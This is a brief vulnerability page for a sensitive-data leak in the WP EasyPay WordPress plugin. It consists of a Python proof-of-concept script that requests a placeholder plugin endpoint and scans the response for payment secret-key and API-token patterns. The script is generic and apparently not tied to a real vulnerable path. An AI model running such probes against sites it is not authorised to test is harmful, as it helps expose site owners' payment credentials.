CVE-2026-45215 WP EasyPay敏感信息泄露漏洞

import requests def check_vulnerability(target_url): """ Proof of Concept for CVE-2026-45215 Checks if sensitive data is exposed in the response. """ try: # Send a GET request to the vulnerable endpoint response = requests.get(target_url, timeout=10) if response.status_code == 200: content = response.text # Define common sensitive patterns (e.g., API keys, tokens) # These patterns should be adjusted based on the specific plugin behavior patterns = ['sk_live_', 'pk_live_', 'secret_key', 'api_token'] found = False for pattern in patterns: if pattern in content: print(f"[+] Potential sensitive data found: {pattern}") found = True if not found: print("[-] No obvious sensitive data patterns detected in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the actual target URL url = "http://example.com/wp-content/plugins/wp-easy-pay/vulnerable-endpoint" check_vulnerability(url)